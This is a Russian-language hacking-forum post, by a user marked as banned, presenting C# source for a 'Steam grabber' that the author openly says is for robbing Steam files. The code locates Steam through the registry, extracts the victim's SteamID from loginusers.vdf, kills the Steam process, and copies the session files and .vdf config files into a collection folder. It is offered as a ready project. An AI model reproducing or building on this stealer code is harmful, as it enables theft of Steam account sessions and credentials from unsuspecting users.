-
Автор темы
- #1
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Сегодня Я вам покажу как можно грабить файлы стим, универсальный способ на языке c#
Для начала создадим класс GetDirPath где будем хранить переменные для сохранений стим данных =)
Следующим шагом будет получения пути до папки Steam
Теперь запилим класс SteamConverter откуда сможем получать ID и.т.п
Теперь нам нужен класс для получения профиля со стима
Так же создадим класс для копирования файлов стим ( не актуально, но все же )
Ну и под финал в <Main> вызовим наш граббер )
Ну и разумеется весь готовый проект Вы можете посмотреть на гитхабе:
Для начала создадим класс GetDirPath где будем хранить переменные для сохранений стим данных =)
Код:
namespace Steam_Grabber
{
using System;
using System.IO;
public class GetDirPath
{
public static readonly string DesktopDir = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
public static readonly string Steam = Path.Combine(DesktopDir, "Steam");
}
}
Код:
namespace Steam_Grabber
{
using Microsoft.Win32;
using System;
public class SteamPath
{
private static readonly string SteamPath_x64 = @"SOFTWARE\Wow6432Node\Valve\Steam";
private static readonly string SteamPath_x32 = @"Software\Valve\Steam";
private static readonly bool True = true, False = false;
public static string GetLocationSteam(string Inst = "InstallPath", string Source = "SourceModInstallPath")
{
using (var BaseSteam = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, (Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32)))
{
using (RegistryKey Key = BaseSteam.OpenSubKey(SteamPath_x64, (Environment.Is64BitOperatingSystem ? True : False)))
{
using (RegistryKey Key2 = BaseSteam.OpenSubKey(SteamPath_x32, (Environment.Is64BitOperatingSystem ? True : False)))
{
return Key?.GetValue(Inst)?.ToString() ?? Key2?.GetValue(Source)?.ToString();
}
}
}
}
}
}
Код:
namespace Steam_Grabber
{
using System;
using System.Globalization;
using System.Text.RegularExpressions;
public class SteamConverter
{
#region Regex Steam
public const string
STEAM2 = "^STEAM_0:[0-1]:([0-9]{1,10})$",
STEAM32 = "^U:1:([0-9]{1,10})$",
STEAM64 = "^7656119([0-9]{10})$",
STEAMPREFIX = "U:1:",
STEAMPREFIX2 = "STEAM_0:";
#endregion
public const string HTTPS = "https://steamcommunity.com/profiles/";
private static readonly long Num64 = 76561197960265728, Num32 = 76561197960265729;
private static readonly int Number0 = 0;
public static long FromSteam2ToSteam64(string accountId)
{
if (!Regex.IsMatch(accountId, STEAM2))
{
return Number0;
}
return Num64 + Convert.ToInt64(accountId.Substring(0xA)) * 0x2 + Convert.ToInt64(accountId.Substring(0x8, 0x1));
}
public static long FromSteam32ToSteam64(long steam32)
{
if (steam32 < 0x1 || !Regex.IsMatch($"{STEAMPREFIX}{steam32.ToString(CultureInfo.InvariantCulture)}", STEAM32))
{
return Number0;
}
return steam32 + Num64;
}
public static long FromSteam64ToSteam32(long communityId)
{
if (communityId < Num32 || !Regex.IsMatch(communityId.ToString(CultureInfo.InvariantCulture), STEAM64))
{
return Number0;
}
return communityId - Num64;
}
public static string FromSteam64ToSteam2(long communityId)
{
if (communityId < Num32 || !Regex.IsMatch(communityId.ToString(CultureInfo.InvariantCulture), STEAM64))
{
return string.Empty;
}
communityId -= Num64;
communityId -= communityId % 0x2;
var text = $"{STEAMPREFIX2}{communityId % 2}:{communityId / 0x2}";
if (!Regex.IsMatch(text, STEAM2))
{
return string.Empty;
}
return text;
}
}
}
Код:
namespace Steam_Grabber
{
using System;
using System.Globalization;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
public class SteamProfiles
{
private static readonly string LoginFile = Path.Combine(SteamPath.GetLocationSteam(), @"config\loginusers.vdf");
private static StringBuilder SB = new StringBuilder();
public static string GetSteamID()
{
try
{
if (!File.Exists(LoginFile))
{
return null;
}
else
{
var ProfileNum = File.ReadAllLines(LoginFile)[2].Split('"')[1];
if (Regex.IsMatch(ProfileNum, SteamConverter.STEAM64))
{
var ConvertID = SteamConverter.FromSteam64ToSteam2(Convert.ToInt64(ProfileNum));
var ConvertSteam3 = $"{SteamConverter.STEAMPREFIX}{SteamConverter.FromSteam64ToSteam32(Convert.ToInt64(ProfileNum)).ToString(CultureInfo.InvariantCulture)}";
SB.AppendLine($"Steam2 ID: {ConvertID}");
SB.AppendLine($"Steam3 ID x32: {ConvertSteam3}");
SB.AppendLine($"Steam3 ID x64: {ProfileNum}");
SB.AppendLine($"{SteamConverter.HTTPS}{ProfileNum}");
return SB.ToString();
}
else { return null; }
}
}
catch { return null; }
}
}
}
Код:
namespace Steam_Grabber
{
using System;
using System.Diagnostics;
using System.IO;
public class GetSteamFiles
{
public static void Copy(string Expansion, string ConfigFiles, string Proc, string Name, string SteamID)
{
try
{
var SaveConfig = Path.Combine(GetDirPath.Steam, Name);
var LocalSteamDir = Path.Combine(SteamPath.GetLocationSteam(), Name);
if (Directory.Exists(SteamPath.GetLocationSteam()))
{
try
{
foreach (Process process in Process.GetProcessesByName(Proc))
{
try
{
process.Kill();
}
catch { break; }
break;
}
}
catch { }
if (!Directory.Exists(GetDirPath.Steam))
{
Directory.CreateDirectory(GetDirPath.Steam);
foreach (var file in Directory.GetFiles(SteamPath.GetLocationSteam(), Expansion))
{
try
{
File.Copy(file, Path.Combine(GetDirPath.Steam, Path.GetFileName(file)));
}
catch { }
}
if (!Directory.Exists(SaveConfig))
{
Directory.CreateDirectory(SaveConfig);
File.AppendAllText(Path.Combine(GetDirPath.Steam, SteamID), SteamProfiles.GetSteamID()); // тут создаём файл с полученным SteamID
foreach (var file2 in Directory.GetFiles(LocalSteamDir, ConfigFiles))
{
try
{
File.Copy(file2, Path.Combine(SaveConfig, Path.GetFileName(file2)));
}
catch { }
}
}
}
}
}
catch (UnauthorizedAccessException) { }
catch (IOException) { }
catch (ArgumentException) { }
}
}
}
Код:
namespace Steam_Grabber
{
internal static partial class Program
{
private static void Main() =>
GetSteamFiles.Copy("*.", "*.vdf", "Steam", "config", "SteamID.txt");
}
}
Пожалуйста, авторизуйтесь для просмотра ссылки.